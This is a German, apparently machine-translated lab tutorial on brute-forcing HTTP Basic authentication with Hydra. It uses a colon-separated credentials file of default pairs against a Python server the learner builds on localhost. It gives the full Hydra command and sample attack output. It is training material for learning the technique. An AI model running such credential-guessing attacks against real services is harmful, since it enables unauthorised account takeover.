Angriff mit durch Doppelpunkte getrennten Anmeldeinformationen

HydraHydraBeginner
Jetzt üben

💡 Dieser Artikel wurde von AI-Assistenten übersetzt. Um die englische Version anzuzeigen, können Sie hier klicken

Einführung

In diesem Labor lernen Sie, wie Sie einen glaubwürdigen Angriff mit Hydra durchführen. Das Labor konzentriert sich auf die Verwendung einer durch Doppelpunkte getrennten Datei mit Anmeldeinformationen (Benutzername/Passwort-Kombinationen), um die Anmeldeinformationen eines Zieldienstes zu knacken.

Sie beginnen mit der Erstellung einer Datei credentials.txt mit Benutzername:Passwort-Paaren, wobei Sie einen Texteditor wie nano verwenden. Anschließend erfahren Sie, wie Sie diese Datei mit der Option -C in Hydra laden, um Hydra zu ermöglichen, effizient mehrere Anmeldekombinationen gegen das Ziel zu versuchen. Schließlich überprüfen Sie, ob die Ausgabe mit den im Angriff verwendeten Anmeldeinformationen übereinstimmt.

Erstellen einer Anmeldeinformationen-Datei (login:pass)

In diesem Schritt erstellen Sie eine Datei mit Benutzernamen und Passwörtern, wobei jede Kombination pro Zeile durch einen Doppelpunkt getrennt ist. Diese Datei wird später mit Hydra verwendet, um zu versuchen, die Anmeldeinformationen eines Zieldienstes zu knacken.

Zuerst verstehen wir das benötigte Format für die Anmeldeinformationen-Datei. Jede Zeile sollte einen Benutzernamen, einen Doppelpunkt (:) und das entsprechende Passwort enthalten. Beispiel:

Benutzername1:Passwort1
Benutzername2:Passwort2

Erstellen wir nun die Datei. Wir verwenden den Texteditor nano, der einfach und benutzerfreundlich ist. Öffnen Sie Ihr Terminal und navigieren Sie zum Verzeichnis ~/project, falls Sie sich noch nicht dort befinden:

cd ~/project
  1. Öffnen Sie eine neue Datei namens credentials.txt im Verzeichnis ~/project mit nano:

    nano credentials.txt
  2. Fügen Sie im nano-Editor die folgenden Benutzername/Passwort-Kombinationen hinzu. Dies sind die Anmeldeinformationen, die Hydra versuchen wird zu verwenden.

    admin:password
    user1:123456
    test:test
    root:toor
  3. Um die Datei zu speichern, drücken Sie Strg+O (Datei speichern). Nano fordert Sie nach dem Dateinamen. Drücken Sie einfach die Eingabetaste, um den Standardnamen (credentials.txt) zu übernehmen.

  4. Um nano zu verlassen, drücken Sie Strg+X.

Überprüfen wir nun, ob die Datei erstellt wurde und den korrekten Inhalt enthält. Verwenden Sie den Befehl cat, um den Inhalt der Datei credentials.txt anzuzeigen:

cat credentials.txt

Sie sollten die zuvor eingegebenen Benutzername/Passwort-Kombinationen sehen:

admin:password
user1:123456
test:test
root:toor

Sie haben nun erfolgreich eine Anmeldeinformationen-Datei erstellt, die mit Hydra verwendet werden kann. Diese Datei enthält eine Liste potenzieller Benutzernamen und Passwörter, die Hydra gegen den Zieldienst ausprobieren wird.

Einrichten eines einfachen HTTP-Servers mit Authentifizierung

In diesem Schritt richten Sie einen einfachen HTTP-Server ein, der eine grundlegende Authentifizierung erfordert. Dieser Server dient als Ziel für den Hydra-Angriff im nächsten Schritt. Wir verwenden dafür ein Python-Skript.

Stellen Sie zunächst sicher, dass Sie sich im Verzeichnis ~/project befinden:

cd ~/project

Erstellen Sie nun eine neue Python-Datei namens webserver.py mit nano:

nano webserver.py

Fügen Sie den folgenden Python-Code in den Editor ein:

import http.server
import socketserver
import base64

PORT = 8000

class AuthHandler(http.server.SimpleHTTPRequestHandler):
    def do_HEAD(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()

    def do_AUTHHEAD(self):
        self.send_response(401)
        self.send_header('WWW-Authenticate', 'Basic realm="My Realm"')
        self.send_header('Content-type', 'text/html')
        self.end_headers()

    def do_GET(self):
        auth = self.headers.get('Authorization')
        if auth == None:
            self.do_AUTHHEAD()
            self.wfile.write(b"Authentication Required")
        elif auth == 'Basic YWRtaW46cGFzc3dvcmQ=': ## admin:password base64 encoded
            http.server.SimpleHTTPRequestHandler.do_GET(self)
        else:
            self.do_AUTHHEAD()
            self.wfile.write(b"Authentication Failed")

Handler = AuthHandler

with socketserver.TCPServer(("", PORT), Handler) as httpd:
    print("serving at port", PORT)
    httpd.serve_forever()

Dieses Skript erstellt einen einfachen HTTP-Server auf Port 8000. Er erfordert eine grundlegende Authentifizierung. Der korrekte Benutzername ist admin und das Passwort ist password. Die base64-codierte Zeichenkette YWRtaW46cGFzc3dvcmQ= repräsentiert admin:password.

Speichern Sie die Datei (Strg+O, dann Eingabe) und beenden Sie nano (Strg+X).

Führen Sie nun das Python-Skript aus, um den HTTP-Server zu starten. Wir führen es im Hintergrund aus, damit Sie das Terminal weiter verwenden können:

nohup python3 webserver.py > /dev/null 2>&1 &

Der Befehl nohup ermöglicht es dem Prozess, weiterzulaufen, auch wenn Sie das Terminal schließen. > /dev/null 2>&1 leitet die Standardausgabe und die Standardfehlermeldung an /dev/null weiter, wodurch die Serverausgabe Ihr Terminal nicht überlädt. Das & am Ende führt den Befehl im Hintergrund aus.

Um zu bestätigen, dass der Server läuft, können Sie überprüfen, ob ein Prozess auf Port 8000 lauscht:

ss -ltn | grep ':8000'

Sie sollten eine Ausgabe ähnlich dieser sehen, die anzeigt, dass ein Prozess auf Port 8000 lauscht:

LISTEN 0      4096   0.0.0.0:8000      0.0.0.0:*

Halten Sie diesen Server für den nächsten Schritt aktiv.

Angreifen des HTTP-Dienstes mit Anmeldeinformationen-Datei mithilfe von Hydra

In diesem Schritt verwenden Sie Hydra, um den HTTP-Dienst anzugreifen, den Sie im vorherigen Schritt eingerichtet haben. Sie verwenden die Option -C, um die Anmeldeinformationen-Datei zu laden, die Sie in Schritt 1 erstellt haben. Dadurch kann Hydra effizient mehrere Benutzername/Passwort-Kombinationen ausprobieren.

Stellen Sie sicher, dass Sie sich im Verzeichnis ~/project befinden:

cd ~/project

Führen Sie nun den folgenden Hydra-Befehl aus, um den HTTP-Server auf 127.0.0.1 auf Port 8000 anzugreifen:

hydra -C credentials.txt 127.0.0.1 http-get / -s 8000 -vV

Zerlegen wir diesen Befehl:

  • hydra: Der Befehl zum Ausführen des Hydra-Tools.
  • -C credentials.txt: Diese Option gibt den Pfad zur Anmeldeinformationen-Datei an, die Sie erstellt haben. Hydra liest Benutzername/Passwort-Kombinationen aus dieser Datei.
  • 127.0.0.1: Die Ziel-IP-Adresse. Dies ist die Schleifenrückgabe-Adresse, die sich auf Ihren lokalen Rechner bezieht.
  • http-get /: Gibt den zu angreifenden Dienst (HTTP) und den Pfad zur Anfrage (/) an. http-get ist ein Modul, das HTTP-GET-Anforderungen ausführt.
  • -s 8000: Gibt die Portnummer des Zieldienstes an. Unser HTTP-Server läuft auf Port 8000.
  • -vV: Aktiviert den ausführlichen Modus, der die Anmeldeversuche und gefundene Anmeldeinformationen anzeigt.

Hydra versucht nun, den HTTP-Server mit den Benutzername/Passwort-Kombinationen aus der Datei credentials.txt zu knacken. Es wird jede Kombination gegen den Zieldienst ausprobieren.

Sie sollten eine Ausgabe von Hydra sehen, die anzeigt, dass es verschiedene Benutzername/Passwort-Kombinationen ausprobiert. Wenn Hydra die korrekten Anmeldeinformationen (admin:password) erfolgreich findet, werden diese in der Ausgabe angezeigt.

Beispielausgabe (erfolgreicher Angriff):

Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Bitte verwenden Sie dieses Tool nicht in militärischen oder Geheimdienstorganisationen oder für illegale Zwecke (dies ist nicht bindend, diese *** ignorieren Gesetze und Ethik sowieso).

Hydra (https://github.com/vanhauser-thc/thc-hydra) startet um ...
[DATA] max 16 Aufgaben pro 1 Server, insgesamt 16 Aufgaben, 4 Login-Versuche (l:4/p:1), ~1 Versuch pro Aufgabe
[DATA] Angriff auf http-gets://127.0.0.1:8000/
[VERBOSE] Adressen auflösen ... [VERBOSE] Auflösung abgeschlossen
[VERSUCH] Ziel 127.0.0.1 - Login "admin" - Passwort "password" - 1 von 4 [Kind 0] (0/0)
[VERSUCH] Ziel 127.0.0.1 - Login "user1" - Passwort "123456" - 2 von 4 [Kind 1] (0/0)
[VERSUCH] Ziel 127.0.0.1 - Login "test" - Passwort "test" - 3 von 4 [Kind 2] (0/0)
[VERSUCH] Ziel 127.0.0.1 - Login "root" - Passwort "toor" - 4 von 4 [Kind 3] (0/0)
[8000][http-get] Host: 127.0.0.1   Login: admin   Passwort: password
[STATUS] Angriff für 127.0.0.1 abgeschlossen (Warten auf Kinder, um Tests abzuschließen)
1 von 1 Ziel erfolgreich abgeschlossen, 1 gültiges Passwort gefunden
Hydra (https://github.com/vanhauser-thc/thc-hydra) beendet um ...

Wenn der Angriff erfolgreich ist, gibt Hydra den korrekten Benutzernamen und das korrekte Passwort aus.

Bestätigung der gefundenen Anmeldeinformationen

In diesem Schritt bestätigen Sie, dass die Anmeldeinformationen, die Hydra im vorherigen Schritt während des Angriffs gefunden hat, mit den erwarteten Anmeldeinformationen in der Datei credentials.txt und dem Skript webserver.py übereinstimmen. Dies verifiziert, dass Hydra die gültige Anmeldekombination korrekt identifiziert hat.

Im vorherigen Schritt sollte die Ausgabe von Hydra die folgende Zeile (oder eine ähnliche) angezeigt haben:

[8000][http-get] host: 127.0.0.1   login: admin   password: password

Diese Zeile zeigt an, dass Hydra den Benutzernamen admin und das Passwort password für den Zieldienst erfolgreich gefunden hat.

Lassen Sie uns nun überprüfen, ob diese Anmeldeinformationen tatsächlich in den von uns erstellten Dateien vorhanden sind.

  1. Überprüfung der Anmeldeinformationen in credentials.txt:

    Verwenden Sie den Befehl cat, um den Inhalt der Datei credentials.txt anzuzeigen:

    cat credentials.txt

    Überprüfen Sie, ob die Datei die Zeile admin:password enthält. Dies ist eine der Kombinationen, die Hydra versucht hat.

  2. Überprüfung der Anmeldeinformationen in webserver.py:

    Verwenden Sie den Befehl cat, um den Inhalt der Datei webserver.py anzuzeigen:

    cat webserver.py

    Suchen Sie nach der Zeile, die den base64-codierten Authentifizierungsheader prüft. Sie sollten eine Zeile ähnlich dieser finden:

    elif auth == 'Basic YWRtaW46cGFzc3dvcmQ=': ## admin:password base64 encoded

    Die Zeichenkette YWRtaW46cGFzc3dvcmQ= ist die base64-Codierung von admin:password. Dies bestätigt, dass der Server konfiguriert ist, um admin als Benutzernamen und password als Passwort zu akzeptieren.

Durch die Überprüfung, dass die von Hydra gefundenen Anmeldeinformationen mit den im Serverskript konfigurierten und in Ihrer Anmeldeinformationen-Datei vorhandenen Anmeldeinformationen übereinstimmen, bestätigen Sie den Erfolg des Brute-Force-Angriffs mit der Option -C.

Schließlich stoppen wir den HTTP-Server-Prozess im Hintergrund. Sie können die Prozess-ID (PID) erneut mit dem Befehl ss finden:

ss -ltn | grep ':8000'

Die Ausgabe zeigt die PID in der zweiten Spalte an. Beispiel:

LISTEN 0      4096   0.0.0.0:8000      0.0.0.0:*    users:(("python3",pid=12345,fd=3))

In diesem Beispiel ist die PID 12345. Verwenden Sie den Befehl kill, um den Prozess zu stoppen, und ersetzen Sie [PID] durch die tatsächlich gefundene PID:

kill [PID]

Beispielsweise, wenn die PID 12345 war:

kill 12345

Sie können die Beendigung des Servers überprüfen, indem Sie erneut ss -ltn | grep ':8000' ausführen. Es sollte keine Ausgabe vorhanden sein.

Zusammenfassung

In diesem Labor haben Sie gelernt, wie man eine Anmeldeinformationen-Datei namens credentials.txt erstellt, die Benutzernamen und Passwörter durch Doppelpunkte getrennt enthält, wobei jede Kombination in einer neuen Zeile steht. Diese Datei befindet sich im Verzeichnis ~/project und ist für die Verwendung mit Hydra vorbereitet.

Sie haben auch gelernt, wie man einen einfachen HTTP-Server mit Authentifizierung mithilfe eines Python-Skripts einrichtet, der als Ziel für den Angriff diente.

Schließlich haben Sie Hydra erfolgreich mit der Option -C verwendet, um die Anmeldeinformationen-Datei zu laden und einen Brute-Force-Angriff auf den HTTP-Server durchzuführen. Dies demonstriert, wie man effizient mehrere Anmeldekombinationen testet. Sie haben die gefundenen Anmeldeinformationen mit den erwarteten Werten bestätigt und den Erfolg des Angriffs verifiziert.